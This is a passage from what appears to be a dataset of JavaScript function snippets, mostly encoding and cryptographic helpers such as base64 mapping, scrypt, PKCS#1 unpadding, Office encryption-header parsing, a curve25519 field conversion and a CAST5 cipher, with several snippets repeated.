'f': aReturn='31'; break;\r\n case 'g': aReturn='32'; break;\r\n case 'h': aReturn='33'; break;\r\n case 'i': aReturn='34'; break;\r\n case 'j': aReturn='35'; break;\r\n case 'k': aReturn='36'; break;\r\n case 'l': aReturn='37'; break;\r\n case 'm': aReturn='38'; break;\r\n case 'n': aReturn='39'; break;\r\n case 'o': aReturn='40'; break;\r\n case 'p': aReturn='41'; break;\r\n case 'q': aReturn='42'; break;\r\n case 'r': aReturn='43'; break;\r\n case 's': aReturn='44'; break;\r\n case 't': aReturn='45'; break;\r\n case 'u': aReturn='46'; break;\r\n case 'v': aReturn='47'; break;\r\n case 'w': aReturn='48'; break;\r\n case 'x': aReturn='49'; break;\r\n case 'y': aReturn='50'; break;\r\n case 'z': aReturn='51'; break;\r\n case '0': aReturn='52'; break;\r\n case '1': aReturn='53'; break;\r\n case '2': aReturn='54'; break;\r\n case '3': aReturn='55'; break;\r\n case '4': aReturn='56'; break;\r\n case '5': aReturn='57'; break;\r\n case '6': aReturn='58'; break;\r\n case '7': aReturn='59'; break;\r\n case '8': aReturn='60'; break;\r\n case '9': aReturn='61'; break;\r\n case '+': aReturn='62'; break;\r\n case '/': aReturn='63'; break;\r\n default: aReturn=''; break;\r\n }\r\n }\r\n catch(err)\r\n {\r\n DebugLog(err.message.toString());\r\n }\r\n return aReturn;\r\n}", "function convertBytesToPepo() {\r\n \r\n var byteField = document.getElementById(\"input-bytes\");\r\n var pepoField = document.getElementById(\"input-pepo\"); \r\n \r\n pepoField.value = \"\";\r\n \r\n var parsedBits = \"\";\r\n var pepoBytes = [];\r\n \r\n // parse each line of the given text\r\n var lines = byteField.value.split(/\\r?\\n/);\r\n for (var l = 0; l < lines.length; l++) {\r\n \r\n // parse for valid bit characters\r\n for (var c = 0; c < lines[l].length; c++) {\r\n \r\n var chr = lines[l][c];\r\n \r\n if (chr == '0' || chr == '1') {\r\n parsedBits += chr;\r\n }\r\n else if (chr == ' ') {\r\n continue;\r\n }\r\n else if (chr == ';') { \r\n break; \r\n }\r\n else {\r\n return;\r\n }\r\n }\r\n }\r\n \r\n // make sure there will be exactly eight bits per byte\r\n if ((parsedBits.length % 8) != 0) {\r\n return;\r\n }\r\n \r\n // convert bytes from binary to hex\r\n for (var by=0; by < parsedBits.length / 8; by++) {\r\n \r\n var byteText = \"\";\r\n for (var bi=0; bi < 8; bi++) {\r\n byteText += parsedBits[(by * 8) + bi];\r\n }\r\n var hexByte = parseInt(byteText, 2).toString(16);\r\n if (hexByte.length < 2) {\r\n hexByte = \"0\" + hexByte;\r\n }\r\n pepoBytes.push(hexByte);\r\n }\r\n\r\n // create the pep object\r\n pepoBytes.push(\"zz\");\r\n pepoField.value = pepoBytes.join(\" \");\r\n}", "function convertPepoToBytes() {\r\n \r\n var byteField = document.getElementById(\"input-bytes\");\r\n var pepoField = document.getElementById(\"input-pepo\"); \r\n \r\n byteField.value = \"\";\r\n \r\n var parsedBits = \"\";\r\n var binBytes = [];\r\n \r\n // parse each line of the given text\r\n var lines = pepoField.value.split(/\\r?\\n/);\r\n for (var l = 0; l < lines.length; l++) {\r\n \r\n // parse for valid nibble chars\r\n for (var c = 0; c < lines[l].length; c++) {\r\n \r\n var chr = lines[l][c];\r\n \r\n if (/[0-9A-Fa-f]{1}/.test(chr)) {\r\n parsedBits += chr;\r\n }\r\n else if (chr == ' ' || chr == 'z') {\r\n continue;\r\n }\r\n else if (chr == ';') { \r\n break; \r\n }\r\n else {\r\n return;\r\n }\r\n }\r\n }\r\n \r\n // make sure there will be exactly two nibbles per byte\r\n if ((parsedBits.length % 2) != 0) {\r\n return;\r\n }\r\n \r\n // convert bytes from hex to binary\r\n for (var by=0; by < parsedBits.length / 2; by++) {\r\n \r\n var byteText = \"\";\r\n for (var nib=0; nib < 2; nib++) {\r\n byteText += parsedBits[(by * 2) + nib];\r\n }\r\n var binByte = parseInt(byteText, 16).toString(2);\r\n while (binByte.length < 8) {\r\n binByte = \"0\" + binByte;\r\n }\r\n binBytes.push(binByte);\r\n }\r\n\r\n // write the binary bytes text\r\n var bytesInRow = 0;\r\n for (var by=0; by < binBytes.length; by++) {\r\n \r\n byteField.value += binBytes[by] + \" \";\r\n bytesInRow++;\r\n \r\n if (bytesInRow >= 3) {\r\n byteField.value += \"\\n\";\r\n bytesInRow = 0;\r\n }\r\n }\r\n}", "function convertLookalike (t, erroneousSyllabics, sro, correctSyllabics) {\n t.not(erroneousSyllabics, correctSyllabics)\n t.is(syllabics2sro(erroneousSyllabics), sro)\n t.is(sro2syllabics(syllabics2sro(erroneousSyllabics)), correctSyllabics)\n}", "function parse_EncInfoStd(blob) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\t//var tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\t//var tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\t//var tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\t//var tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function toBinStr_old(bits) {\n var data = '';\n var pad = (bits.length % 8) ? (new Array(1 + 8 - (bits.length % 8))).join('0') : '';\n bits = pad + bits;\n for (var i = 0; i < bits.length; i += 8) {\n data += String.fromCharCode(parseInt(bits.substr(i, 8), 2))\n }\n return data;\n }", "function encodeBasic(input) {\n let bytes;\n switch (input.type.typeClass) {\n case \"uint\":\n case \"int\":\n return Conversion.toBytes(input.value.asBN, Evm.Utils.WORD_SIZE);\n case \"enum\":\n return Conversion.toBytes(input.value.numericAsBN, Evm.Utils.WORD_SIZE);\n case \"bool\": {\n bytes = new Uint8Array(Evm.Utils.WORD_SIZE); //is initialized to zeroes\n if (input.value.asBoolean) {\n bytes[Evm.Utils.WORD_SIZE - 1] = 1;\n }\n return bytes;\n }\n case \"bytes\":\n switch (input.type.kind) {\n //deliberately not handling dynamic case!\n case \"static\":\n bytes = Conversion.toBytes(input.value.asHex);\n let padded = new Uint8Array(Evm.Utils.WORD_SIZE); //initialized to zeroes\n padded.set(bytes);\n return padded;\n }\n case \"address\":\n return Conversion.toBytes(input.value.asAddress, Evm.Utils.WORD_SIZE);\n case \"contract\":\n return Conversion.toBytes(input.value.address, Evm.Utils.WORD_SIZE);\n case \"function\": {\n switch (input.type.visibility) {\n //for our purposes here, we will NOT count internal functions as a\n //basic type! so no handling of internal case\n case \"external\":\n let coercedInput = input;\n let encoded = new Uint8Array(Evm.Utils.WORD_SIZE); //starts filled w/0s\n let addressBytes = Conversion.toBytes(coercedInput.value.contract.address); //should already be correct length\n let selectorBytes = Conversion.toBytes(coercedInput.value.selector); //should already be correct length\n encoded.set(addressBytes);\n encoded.set(selectorBytes, Evm.Utils.ADDRESS_SIZE); //set it after the address\n return encoded;\n }\n break; //to satisfy TS\n }\n case \"fixed\":\n case \"ufixed\":\n let bigValue = (input).value.asBig;\n let shiftedValue = Conversion.shiftBigUp(bigValue, input.type.places);\n return Conversion.toBytes(shiftedValue, Evm.Utils.WORD_SIZE);\n }\n}", "function swapEndian(hex){\n\t\tif (hex.length % 2 !== 0){return \"length must be a multiple of 2!\";}\n\t\tvar data = \"\";\n\t\tfor (var i=1; i <= hex.length / 2; i++){\n\t\t\tdata += hex.substr(0 - 2 * i, 2);\n\t\t}\n\t\treturn data;\n\t}", "function parse_EncInfoStd(blob) {\n var flags = blob.read_shift(4);\n if ((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n var sz = blob.read_shift(4); //var tgt = blob.l + sz;\n\n var hdr = parse_EncryptionHeader(blob, sz);\n var verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n return {\n t: \"Std\",\n h: hdr,\n v: verifier\n };\n }", "function toBinStr_old(bits){\n\t\tvar data = '';\n\t\tvar pad = (bits.length % 8) ? (new Array(1 + 8 - (bits.length % 8))).join('0') : '';\n\t\tbits = pad + bits;\n\t\tfor(var i = 0; i < bits.length; i+= 8){\n\t\t\tdata += String.fromCharCode(parseInt(bits.substr(i,8),2))\n\t\t}\n\t\treturn data;\n\t}", "function workaroundTenc() {\n // we want to compare to the PSSH in the PRIMARY stream\n // because that will be the one used for license challenge\n var psshBox = playback.primaryVideoStream.header.moovBox.children.filter(function (box) {\n return box.type == 'pssh' && box.drmSystemId == DrmSystemId$PLAYREADY;\n })[0];\n\n // assume the psshData to be UTF16 with a bom header, and ignore the first byte (they are always 0)\n // TODO: find out what those 10 bytes are we skip\n var kidInPssh;\n\n try {\n // find and extract the content of KID\n // actual challenge starts from 10th byte, before that we have length and some other metadata\n kidInPssh = base64$decode(MediaElement$extractFromPlayreadyMessage(psshBox.data.subarray(10, psshBox.data.length - 10), 'KID'));\n }\n catch (e) {\n _log.error('Exception parsing KID in PSSH', e);\n }\n\n if (kidInPssh && kidInPssh.length == 16) {\n var tencBoxes = sampleEntryBox.children.map(function (sinfBox) {\n try {\n if (sinfBox.type == 'sinf') {\n return sinfBox.getDescendant('schi/tenc|' + Box$trackEncryptionType);\n }\n } catch (e) {\n _log.error('Exception finding TENC box', e);\n }\n }).filter(isDefined);\n\n tencBoxes.forEach(function (tencBox) {\n var keyId = tencBox.keyId;\n if (keyId && compareArrays(kidInPssh, keyId)) {\n // these should NOT match, if they do, we need to aplly workaround, otherwise assume streams are fixed\n // See http://en.wikipedia.org/wiki/Globally_unique_identifier#Binary_encoding for why only some bytes are swapped\n\n _log.trace('Applying KID byte order workaround', _logFields, { 'Box': tencBox.type });\n\n function swap(i, j) {\n var t = keyId[i];\n keyId[i] = keyId[j];\n keyId[j] = t;\n }\n\n swap(0, 3);\n swap(1, 2);\n swap(4, 5);\n swap(6, 7);\n\n // no need to write they keyId back, since it shares the same backing ArrayBuffer with the box raw content\n debug$assert(keyId['buffer'] && moovBox.raw['buffer'] && keyId['buffer'] === moovBox.raw['buffer']);\n }\n });\n\n } else {\n debug$assert(false);\n\n }\n }", "function scrypt(a,b,c,d,e,f,g,h,i){\"use strict\";function k(a){function l(a){for(var l=0,m=a.length;m>=64;){var v,w,x,y,z,n=c,o=d,p=e,q=f,r=g,s=h,t=i,u=j;for(w=0;w<16;w++)x=l+4*w,k[w]=(255&a[x])<<24|(255&a[x+1])<<16|(255&a[x+2])<<8|255&a[x+3];for(w=16;w<64;w++)v=k[w-2],y=(v>>>17|v<<15)^(v>>>19|v<<13)^v>>>10,v=k[w-15],z=(v>>>7|v<<25)^(v>>>18|v<<14)^v>>>3,k[w]=(y+k[w-7]|0)+(z+k[w-16]|0)|0;for(w=0;w<64;w++)y=(((r>>>6|r<<26)^(r>>>11|r<<21)^(r>>>25|r<<7))+(r&s^~r&t)|0)+(u+(b[w]+k[w]|0)|0)|0,z=((n>>>2|n<<30)^(n>>>13|n<<19)^(n>>>22|n<<10))+(n&o^n&p^o&p)|0,u=t,t=s,s=r,r=q+y|0,q=p,p=o,o=n,n=y+z|0;c=c+n|0,d=d+o|0,e=e+p|0,f=f+q|0,g=g+r|0,h=h+s|0,i=i+t|0,j=j+u|0,l+=64,m-=64}}var b=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298],c=1779033703,d=3144134277,e=1013904242,f=2773480762,g=1359893119,h=2600822924,i=528734635,j=1541459225,k=new Array(64);l(a);var m,n=a.length%64,o=a.length/536870912|0,p=a.length<<3,q=n<56?56:120,r=a.slice(a.length-n,a.length);for(r.push(128),m=n+1;m<q;m++)r.push(0);return r.push(o>>>24&255),r.push(o>>>16&255),r.push(o>>>8&255),r.push(o>>>0&255),r.push(p>>>24&255),r.push(p>>>16&255),r.push(p>>>8&255),r.push(p>>>0&255),l(r),[c>>>24&255,c>>>16&255,c>>>8&255,c>>>0&255,d>>>24&255,d>>>16&255,d>>>8&255,d>>>0&255,e>>>24&255,e>>>16&255,e>>>8&255,e>>>0&255,f>>>24&255,f>>>16&255,f>>>8&255,f>>>0&255,g>>>24&255,g>>>16&255,g>>>8&255,g>>>0&255,h>>>24&255,h>>>16&255,h>>>8&255,h>>>0&255,i>>>24&255,i>>>16&255,i>>>8&255,i>>>0&255,j>>>24&255,j>>>16&255,j>>>8&255,j>>>0&255]}function l(a,b,c){function i(){for(var a=e-1;a>=e-4;a--){if(f[a]++,f[a]<=255)return;f[a]=0}}a=a.length<=64?a:k(a);var d,e=64+b.length+4,f=new Array(e),g=new Array(64),h=[];for(d=0;d<64;d++)f[d]=54;for(d=0;d<a.length;d++)f[d]^=a[d];for(d=0;d<b.length;d++)f[64+d]=b[d];for(d=e-4;d<e;d++)f[d]=0;for(d=0;d<64;d++)g[d]=92;for(d=0;d<a.length;d++)g[d]^=a[d];for(;c>=32;)i(),h=h.concat(k(g.concat(k(f)))),c-=32;return c>0&&(i(),h=h.concat(k(g.concat(k(f))).slice(0,c))),h}function m(a,b,c,d){var u,v,e=a[0]^b[c++],f=a[1]^b[c++],g=a[2]^b[c++],h=a[3]^b[c++],i=a[4]^b[c++],j=a[5]^b[c++],k=a[6]^b[c++],l=a[7]^b[c++],m=a[8]^b[c++],n=a[9]^b[c++],o=a[10]^b[c++],p=a[11]^b[c++],q=a[12]^b[c++],r=a[13]^b[c++],s=a[14]^b[c++],t=a[15]^b[c++],w=e,x=f,y=g,z=h,A=i,B=j,C=k,D=l,E=m,F=n,G=o,H=p,I=q,J=r,K=s,L=t;for(v=0;v<8;v+=2)u=w+I,A^=u<<7|u>>>25,u=A+w,E^=u<<9|u>>>23,u=E+A,I^=u<<13|u>>>19,u=I+E,w^=u<<18|u>>>14,u=B+x,F^=u<<7|u>>>25,u=F+B,J^=u<<9|u>>>23,u=J+F,x^=u<<13|u>>>19,u=x+J,B^=u<<18|u>>>14,u=G+C,K^=u<<7|u>>>25,u=K+G,y^=u<<9|u>>>23,u=y+K,C^=u<<13|u>>>19,u=C+y,G^=u<<18|u>>>14,u=L+H,z^=u<<7|u>>>25,u=z+L,D^=u<<9|u>>>23,u=D+z,H^=u<<13|u>>>19,u=H+D,L^=u<<18|u>>>14,u=w+z,x^=u<<7|u>>>25,u=x+w,y^=u<<9|u>>>23,u=y+x,z^=u<<13|u>>>19,u=z+y,w^=u<<18|u>>>14,u=B+A,C^=u<<7|u>>>25,u=C+B,D^=u<<9|u>>>23,u=D+C,A^=u<<13|u>>>19,u=A+D,B^=u<<18|u>>>14,u=G+F,H^=u<<7|u>>>25,u=H+G,E^=u<<9|u>>>23,u=E+H,F^=u<<13|u>>>19,u=F+E,G^=u<<18|u>>>14,u=L+K,I^=u<<7|u>>>25,u=I+L,J^=u<<9|u>>>23,u=J+I,K^=u<<13|u>>>19,u=K+J,L^=u<<18|u>>>14;b[d++]=a[0]=w+e|0,b[d++]=a[1]=x+f|0,b[d++]=a[2]=y+g|0,b[d++]=a[3]=z+h|0,b[d++]=a[4]=A+i|0,b[d++]=a[5]=B+j|0,b[d++]=a[6]=C+k|0,b[d++]=a[7]=D+l|0,b[d++]=a[8]=E+m|0,b[d++]=a[9]=F+n|0,b[d++]=a[10]=G+o|0,b[d++]=a[11]=H+p|0,b[d++]=a[12]=I+q|0,b[d++]=a[13]=J+r|0,b[d++]=a[14]=K+s|0,b[d++]=a[15]=L+t|0}function n(a,b,c,d,e){for(;e--;)a[b++]=c[d++]}function o(a,b,c,d,e){for(;e--;)a[b++]^=c[d++]}function p(a,b,c,d,e){n(a,0,b,c+16*(2*e-1),16);for(var f=0;f<2*e;f+=2)m(a,b,c+16*f,d+8*f),m(a,b,c+16*f+16,d+8*f+16*e)}function q(a,b,c){return a[b+16*(2*c-1)]}function r(a){for(var b=[],c=0;c<a.length;c++){var d=a.charCodeAt(c);d<128?b.push(d):d>127&&d<2048?(b.push(d>>6|192),b.push(63&d|128)):(b.push(d>>12|224),b.push(d>>6&63|128),b.push(63&d|128))}return b}function s(a){for(var b=\"0123456789abcdef\".split(\"\"),c=a.length,d=[],e=0;e<c;e++)d.push(b[a[e]>>>4&15]),d.push(b[a[e]>>>0&15]);return d.join(\"\")}function t(a){for(var f,g,h,i,b=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\".split(\"\"),c=a.length,d=[],e=0;e<c;)f=e<c?a[e++]:0,g=e<c?a[e++]:0,h=e<c?a[e++]:0,i=(f<<16)+(g<<8)+h,d.push(b[i>>>18&63]),d.push(b[i>>>12&63]),d.push(b[i>>>6&63]),d.push(b[i>>>0&63]);return c%3>0&&(d[d.length-1]=\"=\",c%3===1&&(d[d.length-2]=\"=\")),d.join(\"\")}function D(){for(var a=0;a<32*d;a++){var b=4*a;x[B+a]=(255&z[b+3])<<24|(255&z[b+2])<<16|(255&z[b+1])<<8|(255&z[b+0])<<0}}function E(a,b){for(var c=a;c<b;c+=2)n(y,c*(32*d),x,B,32*d),p(A,x,B,C,d),n(y,(c+1)*(32*d),x,C,32*d),p(A,x,C,B,d)}function F(a,b){for(var c=a;c<b;c+=2){var e=q(x,B,d)&w-1;o(x,B,y,e*(32*d),32*d),p(A,x,B,C,d),e=q(x,C,d)&w-1,o(x,C,y,e*(32*d),32*d),p(A,x,C,B,d)}}function G(){for(var a=0;a<32*d;a++){var b=x[B+a];z[4*a+0]=b>>>0&255,z[4*a+1]=b>>>8&255,z[4*a+2]=b>>>16&255,z[4*a+3]=b>>>24&255}}function H(a,b,c,d,e){!function h(){setTimeout(function(){g((j/Math.ceil(w/f)*100).toFixed(2)),d(a,a+c<b?a+c:b),a+=c,j++,a<b?h():e()},0)}()}function I(b){var c=l(a,z,e);return\"base64\"===b?t(c):\"hex\"===b?s(c):c}var j,u=1;if(c<1||c>31)throw new Error(\"scrypt: logN not be between 1 and 31\");var x,y,z,A,v=1<<31>>>0,w=1<<c>>>0;if(d*u>=1<<30||d>v/128/u||d>v/256||w>v/128/d)throw new Error(\"scrypt: parameters are too large\");\"string\"==typeof a&&(a=r(a)),\"string\"==typeof b&&(b=r(b)),\"undefined\"!=typeof Int32Array?(x=new Int32Array(64*d),y=new Int32Array(32*w*d),A=new Int32Array(16)):(x=[],y=[],A=new Array(16)),z=l(a,b,128*u*d);var B=0,C=32*d;f<=0?(D(),E(0,w),F(0,w),G(),h(I(i))):(j=0,D(),H(0,w,2*f,E,function(){H(0,w,2*f,F,function(){G(),h(I(i))})}))}", "function decode(freqs,bits) {\n \n}", "function parse_EncInfoStd(blob, vers) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\tvar tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob, vers) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\tvar tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob, vers) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\tvar tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function parse_EncInfoStd(blob, vers) {\n\tvar flags = blob.read_shift(4);\n\tif((flags & 0x3F) != 0x24) throw new Error(\"EncryptionInfo mismatch\");\n\tvar sz = blob.read_shift(4);\n\tvar tgt = blob.l + sz;\n\tvar hdr = parse_EncryptionHeader(blob, sz);\n\tvar verifier = parse_EncryptionVerifier(blob, blob.length - blob.l);\n\treturn { t:\"Std\", h:hdr, v:verifier };\n}", "function pkcs1unpad2(d, n) {\n var b = d.toByteArray();\n var i = 0;\n while (i < b.length && b[i] == 0) {\n ++i;\n }\n if (b.length - i != n - 1 || b[i] != 2) {\n return null;\n }\n ++i;\n while (b[i] != 0) {\n if (++i >= b.length) {\n return null;\n }\n }\n var ret = \"\";\n while (++i < b.length) {\n var c = b[i] & 255;\n if (c < 128) {// utf-8 decode\n ret += String.fromCharCode(c);\n } else\n if (c > 191 && c < 224) {\n ret += String.fromCharCode((c & 31) << 6 | b[i + 1] & 63);\n ++i;\n } else\n {\n ret += String.fromCharCode((c & 15) << 12 | (b[i + 1] & 63) << 6 | b[i + 2] & 63);\n i += 2;\n }\n }\n return ret;\n }", "function pkcs1unpad2(d, n) {\n var b = d.toByteArray();\n var i = 0;\n while (i < b.length && b[i] == 0) {\n ++i;\n }\n if (b.length - i != n - 1 || b[i] != 2) {\n return null;\n }\n ++i;\n while (b[i] != 0) {\n if (++i >= b.length) {\n return null;\n }\n }\n var ret = \"\";\n while (++i < b.length) {\n var c = b[i] & 255;\n if (c < 128) {// utf-8 decode\n ret += String.fromCharCode(c);\n } else\n if (c > 191 && c < 224) {\n ret += String.fromCharCode((c & 31) << 6 | b[i + 1] & 63);\n ++i;\n } else\n {\n ret += String.fromCharCode((c & 15) << 12 | (b[i + 1] & 63) << 6 | b[i + 2] & 63);\n i += 2;\n }\n }\n return ret;\n }", "function b64tohex(s) {\n var ret = \"\";\n var i;\n var k = 0; // b64 state, 0-3\n var slop = 0;\n for (i = 0; i < s.length; ++i) {\n if (s.charAt(i) == b64pad) {\n break;\n }\n var v = b64map.indexOf(s.charAt(i));\n if (v < 0) {\n continue;\n }\n if (k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n } else\n if (k == 1) {\n ret += int2char(slop << 2 | v >> 4);\n slop = v & 0xf;\n k = 2;\n } else\n if (k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n } else\n {\n ret += int2char(slop << 2 | v >> 4);\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if (k == 1) {\n ret += int2char(slop << 2);\n }\n return ret;\n }", "function b64tohex(s) {\n var ret = \"\";\n var i;\n var k = 0; // b64 state, 0-3\n var slop = 0;\n for (i = 0; i < s.length; ++i) {\n if (s.charAt(i) == b64pad) {\n break;\n }\n var v = b64map.indexOf(s.charAt(i));\n if (v < 0) {\n continue;\n }\n if (k == 0) {\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 1;\n } else\n if (k == 1) {\n ret += int2char(slop << 2 | v >> 4);\n slop = v & 0xf;\n k = 2;\n } else\n if (k == 2) {\n ret += int2char(slop);\n ret += int2char(v >> 2);\n slop = v & 3;\n k = 3;\n } else\n {\n ret += int2char(slop << 2 | v >> 4);\n ret += int2char(v & 0xf);\n k = 0;\n }\n }\n if (k == 1) {\n ret += int2char(slop << 2);\n }\n return ret;\n }", "toBytes(bytes) {\r\n const carry = new Int32Array(FieldElement.FIELD_ELEMENT_SIZE);\r\n let q = ((19 * this.data[9]) + (1 << 24)) >> 25;\r\n q = (this.data[0] + q) >> 26;\r\n q = (this.data[1] + q) >> 25;\r\n q = (this.data[2] + q) >> 26;\r\n q = (this.data[3] + q) >> 25;\r\n q = (this.data[4] + q) >> 26;\r\n q = (this.data[5] + q) >> 25;\r\n q = (this.data[6] + q) >> 26;\r\n q = (this.data[7] + q) >> 25;\r\n q = (this.data[8] + q) >> 26;\r\n q = (this.data[9] + q) >> 25;\r\n // Goal: Output h-(2^255-19)q, which is between 0 and 2^255-20.\r\n this.data[0] += 19 * q;\r\n // Goal: Output h-2^255 q, which is between 0 and 2^255-20.\r\n carry[0] = this.data[0] >> 26;\r\n this.data[1] += carry[0];\r\n this.data[0] -= carry[0] << 26;\r\n carry[1] = this.data[1] >> 25;\r\n this.data[2] += carry[1];\r\n this.data[1] -= carry[1] << 25;\r\n carry[2] = this.data[2] >> 26;\r\n this.data[3] += carry[2];\r\n this.data[2] -= carry[2] << 26;\r\n carry[3] = this.data[3] >> 25;\r\n this.data[4] += carry[3];\r\n this.data[3] -= carry[3] << 25;\r\n carry[4] = this.data[4] >> 26;\r\n this.data[5] += carry[4];\r\n this.data[4] -= carry[4] << 26;\r\n carry[5] = this.data[5] >> 25;\r\n this.data[6] += carry[5];\r\n this.data[5] -= carry[5] << 25;\r\n carry[6] = this.data[6] >> 26;\r\n this.data[7] += carry[6];\r\n this.data[6] -= carry[6] << 26;\r\n carry[7] = this.data[7] >> 25;\r\n this.data[8] += carry[7];\r\n this.data[7] -= carry[7] << 25;\r\n carry[8] = this.data[8] >> 26;\r\n this.data[9] += carry[8];\r\n this.data[8] -= carry[8] << 26;\r\n carry[9] = this.data[9] >> 25;\r\n this.data[9] -= carry[9] << 25;\r\n // h10 = carry9\r\n // Goal: Output h[0]+...+2^255 h10-2^255 q, which is between 0 and 2^255-20.\r\n // Have h[0]+...+2^230 h[9] between 0 and 2^255-1;\r\n // evidently 2^255 h10-2^255 q = 0.\r\n // Goal: Output h[0]+...+2^230 h[9].\r\n bytes[0] = (Math.trunc(this.data[0]));\r\n bytes[1] = (this.data[0] >> 8);\r\n bytes[2] = (this.data[0] >> 16);\r\n bytes[3] = ((this.data[0] >> 24) | (this.data[1] << 2));\r\n bytes[4] = (this.data[1] >> 6);\r\n bytes[5] = (this.data[1] >> 14);\r\n bytes[6] = ((this.data[1] >> 22) | (this.data[2] << 3));\r\n bytes[7] = (this.data[2] >> 5);\r\n bytes[8] = (this.data[2] >> 13);\r\n bytes[9] = ((this.data[2] >> 21) | (this.data[3] << 5));\r\n bytes[10] = (this.data[3] >> 3);\r\n bytes[11] = (this.data[3] >> 11);\r\n bytes[12] = ((this.data[3] >> 19) | (this.data[4] << 6));\r\n bytes[13] = (this.data[4] >> 2);\r\n bytes[14] = (this.data[4] >> 10);\r\n bytes[15] = (this.data[4] >> 18);\r\n bytes[16] = (Math.trunc(this.data[5]));\r\n bytes[17] = (this.data[5] >> 8);\r\n bytes[18] = (this.data[5] >> 16);\r\n bytes[19] = ((this.data[5] >> 24) | (this.data[6] << 1));\r\n bytes[20] = (this.data[6] >> 7);\r\n bytes[21] = (this.data[6] >> 15);\r\n bytes[22] = ((this.data[6] >> 23) | (this.data[7] << 3));\r\n bytes[23] = (this.data[7] >> 5);\r\n bytes[24] = (this.data[7] >> 13);\r\n bytes[25] = ((this.data[7] >> 21) | (this.data[8] << 4));\r\n bytes[26] = (this.data[8] >> 4);\r\n bytes[27] = (this.data[8] >> 12);\r\n bytes[28] = ((this.data[8] >> 20) | (this.data[9] << 6));\r\n bytes[29] = (this.data[9] >> 2);\r\n bytes[30] = (this.data[9] >> 10);\r\n bytes[31] = (this.data[9] >> 18);\r\n }", "function OpenpgpSymencCast5() {\n this.BlockSize = 8;\n this.KeySize = 16;\n\n this.setKey = function (key) {\n this.masking = new Array(16);\n this.rotate = new Array(16);\n\n this.reset();\n\n if (key.length === this.KeySize) {\n this.keySchedule(key);\n } else {\n throw new Error('CAST-128: keys must be 16 bytes');\n }\n return true;\n };\n\n this.reset = function () {\n for (let i = 0; i < 16; i++) {\n this.masking[i] = 0;\n this.rotate[i] = 0;\n }\n };\n\n this.getBlockSize = function () {\n return this.BlockSize;\n };\n\n this.encrypt = function (src) {\n const dst = new Array(src.length);\n\n for (let i = 0; i < src.length; i += 8) {\n let l = src[i] << 24 | src[i + 1] << 16 | src[i + 2] << 8 | src[i + 3];\n let r = src[i + 4] << 24 | src[i + 5] << 16 | src[i + 6] << 8 | src[i + 7];\n let t;\n\n t = r;\n r = l ^ f1(r, this.masking[0], this.rotate[0]);\n l = t;\n t = r;\n r = l ^ f2(r, this.masking[1], this.rotate[1]);\n l = t;\n t = r;\n r = l ^ f3(r, this.masking[2], this.rotate[2]);\n l = t;\n t = r;\n r = l ^ f1(r, this.masking[3], this.rotate[3]);\n l = t;\n\n t = r;\n r = l ^ f2(r, this.masking[4], 